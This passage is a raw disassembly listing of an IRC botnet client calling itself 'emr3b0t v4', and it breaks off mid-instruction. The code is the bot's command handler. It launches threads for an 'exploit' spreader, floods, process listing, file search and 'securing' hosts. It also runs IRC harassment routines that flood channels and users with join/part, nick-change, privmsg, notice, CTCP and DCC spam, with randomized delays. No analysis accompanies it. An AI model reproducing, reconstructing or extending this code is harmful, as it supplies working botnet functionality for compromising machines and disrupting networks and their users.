call sub_409CEE add esp, 0Ch jmp short loc_404717 ; --------------------------------------------------------------------------- loc_404708: ; CODE XREF: sub_401CC7+2A18j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] ; int call sub_409CEE pop ecx pop ecx loc_404717: ; CODE XREF: sub_401CC7+2A1Dj ; sub_401CC7+2A2Cj ... push 0FFFFFFFEh jmp loc_402087 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401CC7+15F8j ; sub_401CC7+160Dj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] ; int call sub_409CEE push offset dword_440924 call sub_415C3F add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_402088 ; --------------------------------------------------------------------------- loc_404740: ; CODE XREF: sub_401CC7+15CEj ; sub_401CC7+15E3j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] ; int call sub_409CEE push offset dword_4408E0 call sub_415C3F add esp, 0Ch jmp loc_409A7B ; --------------------------------------------------------------------------- loc_40475F: ; CODE XREF: sub_401CC7+15A4j ; sub_401CC7+15B9j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BE3A jmp loc_404B1E ; --------------------------------------------------------------------------- loc_404775: ; CODE XREF: sub_401CC7+157Aj ; sub_401CC7+158Fj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BDE5 jmp loc_404B1E ; --------------------------------------------------------------------------- loc_40478B: ; CODE XREF: sub_401CC7+1550j ; sub_401CC7+1565j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BD79 jmp loc_404B1E ; --------------------------------------------------------------------------- loc_4047A1: ; CODE XREF: sub_401CC7+1526j ; sub_401CC7+153Bj push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_40BCAA jmp loc_404B1E ; --------------------------------------------------------------------------- loc_4047B7: ; CODE XREF: sub_401CC7+1481j ; sub_401CC7+1496j push dword ptr [ebp+esi+Args] push 27h push offset aProcessList ; "Process list" push offset dword_4407E4 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_4047CF: ; CODE XREF: sub_401CC7+1457j ; sub_401CC7+146Cj push dword ptr [ebp+esi+Args] push 24h push offset aFindFile ; "Find file" push offset dword_4407B0 jmp loc_402D0F ; --------------------------------------------------------------------------- loc_4047E7: ; CODE XREF: sub_401CC7+1073j ; sub_401CC7+1088j mov edi, dword ptr [ebp+esi+Args] cmp edi, ebx jz short loc_404806 push edi ; Str call _atoi test eax, eax pop ecx jz short loc_404806 push edi ; Str call _atoi pop ecx jmp short loc_40480B ; --------------------------------------------------------------------------- loc_404806: ; CODE XREF: sub_401CC7+2B29j ; sub_401CC7+2B34j mov eax, dword_43F074 loc_40480B: ; CODE XREF: sub_401CC7+2B3Dj mov esi, [ebp+esi+Format] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404830 push esi ; Format loc_40481D: ; CODE XREF: sub_401CC7+2B78j lea eax, [ebp+var_5A0] push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_404847 ; --------------------------------------------------------------------------- loc_404830: ; CODE XREF: sub_401CC7+2B53j cmp [ebp+var_8FF], bl jz short loc_404841 lea eax, [ebp+var_C0] push eax jmp short loc_40481D ; --------------------------------------------------------------------------- loc_404841: ; CODE XREF: sub_401CC7+2B6Fj mov [ebp+var_5A0], bl loc_404847: ; CODE XREF: sub_401CC7+2B67j mov eax, [ebp+var_4] push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax ; Dest mov [ebp+var_624], esi call __snprintf add esp, 0Ch push [ebp+var_590] push esi call sub_40AF71 pop ecx push eax lea eax, [ebp+Dst] push offset asc_4403B4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 19h ; int push eax ; Source call sub_40B756 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset sub_411C4E push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4048F8 loc_4048E2: ; CODE XREF: sub_401CC7+2C2Fj cmp [ebp+var_57C], ebx jnz loc_402085 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4048E2 ; --------------------------------------------------------------------------- loc_4048F8: ; CODE XREF: sub_401CC7+2C19j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_4403DC jmp loc_402269 ; --------------------------------------------------------------------------- loc_404909: ; CODE XREF: sub_401CC7+1009j ; sub_401CC7+101Ej mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_404929 push esi ; Str call _atoi test ax, ax pop ecx jz short loc_404929 push esi ; Str call _atoi pop ecx jmp short loc_40492F ; --------------------------------------------------------------------------- loc_404929: ; CODE XREF: sub_401CC7+2C4Bj ; sub_401CC7+2C57j mov ax, word_43F084 loc_40492F: ; CODE XREF: sub_401CC7+2C60j push [ebp+Format] ; Format mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h ; Count mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax ; Dest mov [ebp+var_A00], esi mov [ebp+var_970], edi call __snprintf movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AF71 pop ecx push eax lea eax, [ebp+Dst] push offset asc_440310 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push edi ; int push eax ; int push [ebp+Format] ; Str push esi ; int call sub_409D34 push ebx ; int lea eax, [ebp+Dst] push 6 ; int push eax ; Source call sub_40B756 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset sub_40EF74 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_4049FE loc_4049E8: ; CODE XREF: sub_401CC7+2D35j cmp [ebp+var_968], ebx jnz loc_402085 push 32h call ds:dword_4F534C ; Sleep jmp short loc_4049E8 ; --------------------------------------------------------------------------- loc_4049FE: ; CODE XREF: sub_401CC7+2D1Fj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44033C jmp loc_402269 ; --------------------------------------------------------------------------- loc_404A0F: ; CODE XREF: sub_401CC7+FB5j ; sub_401CC7+FCAj ... push edi ; Str2 push offset aSecure_1 ; "secure" call _strcmp pop ecx test eax, eax pop ecx jz short loc_404A37 push edi ; Str2 push offset aSec_0 ; "sec" call _strcmp pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404A41 loc_404A37: ; CODE XREF: sub_401CC7+2D57j mov [ebp+var_A10], 1 loc_404A41: ; CODE XREF: sub_401CC7+2D6Ej push [ebp+Format] ; Format lea eax, [ebp+var_A94] push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_404A88 mov eax, offset aUnsecuring ; "Unsecuring" loc_404A88: ; CODE XREF: sub_401CC7+2DBAj push eax push offset asc_4402A8 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 22h ; int push eax ; Source call sub_40B756 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_41ACFD push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_404AFC loc_404AE6: ; CODE XREF: sub_401CC7+2E33j cmp [ebp+var_A04], ebx jnz loc_408637 push 32h call ds:dword_4F534C ; Sleep jmp short loc_404AE6 ; --------------------------------------------------------------------------- loc_404AFC: ; CODE XREF: sub_401CC7+2E1Dj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset dword_4402C4 jmp loc_408628 ; --------------------------------------------------------------------------- loc_404B0D: ; CODE XREF: sub_401CC7+F8Bj ; sub_401CC7+FA0j push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_41B592 loc_404B1E: ; CODE XREF: sub_401CC7+2AA9j ; sub_401CC7+2ABFj ... add esp, 0Ch jmp loc_409B16 ; --------------------------------------------------------------------------- loc_404B26: ; CODE XREF: sub_401CC7+F61j ; sub_401CC7+F76j push offset unk_4401A4 jmp loc_408850 ; --------------------------------------------------------------------------- loc_404B30: ; CODE XREF: sub_401CC7+F37j ; sub_401CC7+F4Cj push offset aEmr3b0tV4 ; "emr3b0t v4" push offset dword_440184 jmp loc_406F4A ; --------------------------------------------------------------------------- loc_404B3F: ; CODE XREF: sub_401CC7+F0Dj ; sub_401CC7+F22j mov esi, dword ptr [ebp+esi+Args] cmp esi, ebx jz short loc_404B99 push esi ; Str call _atoi cmp eax, ebx pop ecx jl short loc_404B91 cmp eax, 3 jge short loc_404B91 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_404B89 lea eax, [esi+1] push eax lea eax, [ebp+Dst] push offset asc_4400E0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch mov [esi], bl jmp loc_408506 ; --------------------------------------------------------------------------- loc_404B89: ; CODE XREF: sub_401CC7+2EA1j push eax push offset unk_440100 jmp short loc_404BD6 ; --------------------------------------------------------------------------- loc_404B91: ; CODE XREF: sub_401CC7+2E8Cj ; sub_401CC7+2E91j push eax push offset unk_44012C jmp short loc_404BD6 ; --------------------------------------------------------------------------- loc_404B99: ; CODE XREF: sub_401CC7+2E81j mov edi, [ebp+arg_18] xor esi, esi loc_404B9E: ; CODE XREF: sub_401CC7+2EF3j push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_404BC1 inc esi add edi, 80h cmp esi, 3 jl short loc_404B9E jmp loc_408506 ; --------------------------------------------------------------------------- loc_404BC1: ; CODE XREF: sub_401CC7+2EE7j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax push offset asc_440158 ; "-" loc_404BD6: ; CODE XREF: sub_401CC7+2143j ; sub_401CC7+2EC8j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf jmp loc_408503 ; --------------------------------------------------------------------------- loc_404BE7: ; CODE XREF: sub_401CC7+EE3j ; sub_401CC7+EF8j push dword ptr [ebp+Args] ; Str2 push offset a332_4 ; "332" call _strcmp pop ecx test eax, eax pop ecx jz loc_403690 call sub_40B91F push ebx call ds:dword_4F5338 ; ExitProcess loc_404C0D: ; CODE XREF: sub_401CC7+1A02j push offset aGet_2 ; "get" push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_404CA4 cmp dword_4E68F0, ebx jz short loc_404C39 push offset byte_4E62D0 push offset unk_4412C4 jmp loc_404CD4 ; --------------------------------------------------------------------------- loc_404C39: ; CODE XREF: sub_401CC7+2F61j push 10h pop eax mov [ebp+var_2D0], eax push eax ; Size lea eax, [ebp+var_2E8] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call ds:dword_4F554C ; getsockname movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax ; Dest call _sprintf add esp, 14h lea eax, [ebp+var_E30] push eax push offset unk_441308 jmp short loc_404CD4 ; --------------------------------------------------------------------------- loc_404CA4: ; CODE XREF: sub_401CC7+2F55j push esi call dword_4E3138 ; inet_addr cmp eax, 0FFFFFFFFh push esi ; Source jnz short loc_404CB8 push offset unk_441340 jmp short loc_404CD4 ; --------------------------------------------------------------------------- loc_404CB8: ; CODE XREF: sub_401CC7+2FE8j push offset byte_4E62D0 ; Dest call _strcpy pop ecx mov dword_4E68F0, 1 pop ecx push esi push offset asc_441374 ; "-" loc_404CD4: ; CODE XREF: sub_401CC7+2F6Dj ; sub_401CC7+2FDBj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_4036E8 ; --------------------------------------------------------------------------- loc_404CE8: ; CODE XREF: sub_401CC7+19EAj push edi ; Str2 push offset aExploit ; "exploit" call _strcmp pop ecx test eax, eax pop ecx jnz loc_404DEB mov eax, [ebp+var_4] mov esi, offset a2 ; "#2" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi ; Format lea eax, [ebp+var_1474] push edi ; Count push eax ; Dest mov [ebp+var_13EC], 1 call __snprintf add esp, 0Ch lea eax, [ebp+var_14F4] push esi ; Format push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+Source] ; Format push 10h ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+Dst] push offset asc_4413A8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 8 ; int push eax ; Source call sub_40B756 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset sub_40BF01 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz short loc_404DDA loc_404DC4: ; CODE XREF: sub_401CC7+3111j cmp [ebp+var_13DC], ebx jnz loc_408506 push 32h call ds:dword_4F534C ; Sleep jmp short loc_404DC4 ; --------------------------------------------------------------------------- loc_404DDA: ; CODE XREF: sub_401CC7+30FBj call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_4413D8 jmp loc_404BD6 ; --------------------------------------------------------------------------- loc_404DEB: ; CODE XREF: sub_401CC7+3030j push edi ; Str2 push offset aReconnect_in ; "reconnect.in" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A82 push edi ; Str2 push offset aRin ; "rin" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A82 push edi ; Str2 push offset aReconnect_in_m ; "reconnect.in.ms" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A3A push edi ; Str2 push offset aRinms ; "rinms" call _strcmp pop ecx test eax, eax pop ecx jz loc_409A3A push [ebp+arg_8] ; Str2 push offset aFlood ; "flood" call _strcmp mov edi, ds:dword_4F534C pop ecx test eax, eax pop ecx jnz loc_4059D2 call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand push [ebp+Source] ; Str2 push offset aLoad ; "load" call _strcmp add esp, 0Ch test eax, eax jnz short loc_404EF1 cmp [ebp+esi+var_80], ebx jz short loc_404EF1 push [ebp+esi+var_80] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Str2] ; Str call _atoi pop ecx push eax ; int push [ebp+esi+Format] ; Source call sub_4185D2 add esp, 0Ch lea eax, [ebp+Dst] push [ebp+esi+Str2] push [ebp+esi+Format] push [ebp+esi+var_80] push offset asc_4414D0 ; "-" push eax ; Dest call _sprintf add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404EF1 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 14h loc_404EF1: ; CODE XREF: sub_401CC7+31B3j ; sub_401CC7+31B9j ... push [ebp+Source] ; Str2 push offset aPm_1 ; "pm" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404F5D mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404F5D push offset asc_441500 ; " " push offset a__7 ; "_" push eax ; Src call sub_418C07 push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_404F5D: ; CODE XREF: sub_401CC7+323Bj ; sub_401CC7+3246j push [ebp+Source] ; Str2 push offset aCt ; "ct" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_404FC9 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_404FC9 push offset asc_44151C ; " " push offset a_ ; "_" push eax ; Src call sub_418C07 push eax ; Source lea eax, [ebp+var_4BF0] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS ; "privmsg %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_404FC9: ; CODE XREF: sub_401CC7+32A7j ; sub_401CC7+32B2j push [ebp+Source] ; Str2 push offset aNt_1 ; "nt" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405035 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_405035 push offset asc_44153C ; " " push offset a__8 ; "_" push eax ; Src call sub_418C07 push eax ; Source lea eax, [ebp+var_46EC] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_1 ; "notice %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_405035: ; CODE XREF: sub_401CC7+3313j ; sub_401CC7+331Ej push [ebp+Source] ; Str2 push offset aMode ; "mode" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4050A1 mov eax, [ebp+esi+Str2] cmp eax, ebx jz short loc_4050A1 push offset asc_44155C ; " " push offset a__0 ; "_" push eax ; Src call sub_418C07 push eax ; Source lea eax, [ebp+var_4DF0] push eax ; Dest call _strcpy add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aModeSS ; "mode %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_4050A1: ; CODE XREF: sub_401CC7+337Fj ; sub_401CC7+338Aj push [ebp+Source] ; Str2 push offset aJoin ; "join" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4050E0 mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_4050E0 push eax lea eax, [ebp+Dst] push offset aJoinS ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h loc_4050E0: ; CODE XREF: sub_401CC7+33EBj ; sub_401CC7+33F6j push [ebp+Source] ; Str2 push offset aPart_1 ; "part" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40511F mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_40511F push eax lea eax, [ebp+Dst] push offset aPartS ; "part %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h loc_40511F: ; CODE XREF: sub_401CC7+342Aj ; sub_401CC7+3435j push [ebp+Source] ; Str2 push offset aPartflood ; "partflood" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_405163 mov eax, [ebp+esi+Format] cmp eax, ebx jz short loc_405163 push offset aCyber ; "CYBER" push eax lea eax, [ebp+Dst] push offset aPartSS ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_405163: ; CODE XREF: sub_401CC7+3469j ; sub_401CC7+3474j push [ebp+Source] ; Str2 push offset aPnick ; "pnick" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4051DC cmp [ebp+esi+Format], ebx jz short loc_4051DC call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx call _rand cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+Format] push offset aSI ; "%s%i" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+Dst] push offset aNickS_0 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h loc_4051DC: ; CODE XREF: sub_401CC7+34ADj ; sub_401CC7+34B6j push [ebp+Source] ; Str2 push offset aJoinPart ; "join/part" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405329 cmp [ebp+esi+Format], ebx jz loc_405329 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_0 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h lea eax, [ebp+Dst] push offset aCyber ; "CYBER" push [ebp+esi+Format] push offset aPartSS_0 ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_1 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h call _rand cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPartSS_1 ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aJoinS_2 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h call _rand cdq mov ecx, 0C8h idiv ecx push edx call edi ; Sleep push offset aCyber ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPartSS_2 ; "part %s %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_405329: ; CODE XREF: sub_401CC7+3526j ; sub_401CC7+3533j push [ebp+Source] ; Str2 push offset aDcc ; "dcc" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4053C3 cmp [ebp+esi+Format], ebx jz short loc_4053C3 call ds:dword_4F537C ; GetTickCount push eax ; Seed call _srand pop ecx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx push edx call _rand cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+Dst] push edx push [ebp+esi+Format] push offset aPrivmsgS_0 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 24h loc_4053C3: ; CODE XREF: sub_401CC7+3673j ; sub_401CC7+3680j push [ebp+Source] ; Str2 push offset aNick_0 ; "nick" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4054C5 mov eax, [ebp+esi+Format] cmp eax, ebx jz loc_4054C5 push eax lea eax, [ebp+Dst] push offset aJoinS_3 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 lea eax, [ebp+var_4BC] push eax ; Dest call sub_418650 add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_1 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4BC] push eax ; Dest call sub_418650 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_2 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h call _rand cdq mov ecx, 1F4h idiv ecx push edx call edi ; Sleep lea eax, [ebp+var_4BC] push eax ; Dest call sub_418650 pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+Dst] push offset aNickS_3 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h loc_4054C5: ; CODE XREF: sub_401CC7+370Dj ; sub_401CC7+371Cj push [ebp+Source] ; Str2 push offset aChgnick ; "chgnick" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40550C lea eax, [ebp+var_1808] push eax ; Dest call sub_418650 pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+Dst] push offset aNickS_4 ; "NICK %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h loc_40550C: ; CODE XREF: sub_401CC7+380Fj push [ebp+Source] ; Str2 push offset aMsg ; "msg" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4055FB cmp [ebp+esi+Format], ebx jz loc_4055FB push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_4 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h lea eax, [ebp+Dst] push offset aCyber_0 ; "CYBER" push [ebp+esi+Format] push offset aPrivmsgSS_0 ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS_1 ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h call _rand cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgSS_2 ; "privmsg %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_4055FB: ; CODE XREF: sub_401CC7+3856j ; sub_401CC7+3863j push [ebp+Source] ; Str2 push offset aNotice_2 ; "notice" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4056EA cmp [ebp+esi+Format], ebx jz loc_4056EA push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_5 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h lea eax, [ebp+Dst] push offset aCyber_0 ; "CYBER" push [ebp+esi+Format] push offset aNoticeSS_2 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h call _rand cdq mov ecx, 3E8h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_3 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h call _rand cdq mov ecx, 384h idiv ecx push edx call edi ; Sleep push offset aCyber_0 ; "CYBER" lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aNoticeSS_4 ; "NOTICE %s :%s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 14h loc_4056EA: ; CODE XREF: sub_401CC7+3945j ; sub_401CC7+3952j push [ebp+Source] ; Str2 push offset aCtcp ; "ctcp" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405801 cmp [ebp+esi+Format], ebx jz loc_405801 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_6 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset aPrivmsgS_1 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_2 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_3 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h call _rand cdq mov ecx, 514h idiv ecx push edx call edi ; Sleep push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aPrivmsgS_4 ; "PRIVMSG %s :" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h loc_405801: ; CODE XREF: sub_401CC7+3A34j ; sub_401CC7+3A41j push [ebp+Source] ; Str2 push offset aMix ; "mix" call _strcmp pop ecx test eax, eax pop ecx jnz loc_405927 cmp [ebp+esi+Format], ebx jz loc_405927 push [ebp+esi+Format] lea eax, [ebp+Dst] push offset aJoinS_7 ; "join %s" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax ; Dest call sub_4182F9 add esp, 10h lea eax, [ebp+Dst] push [ebp+esi+Format] push offset 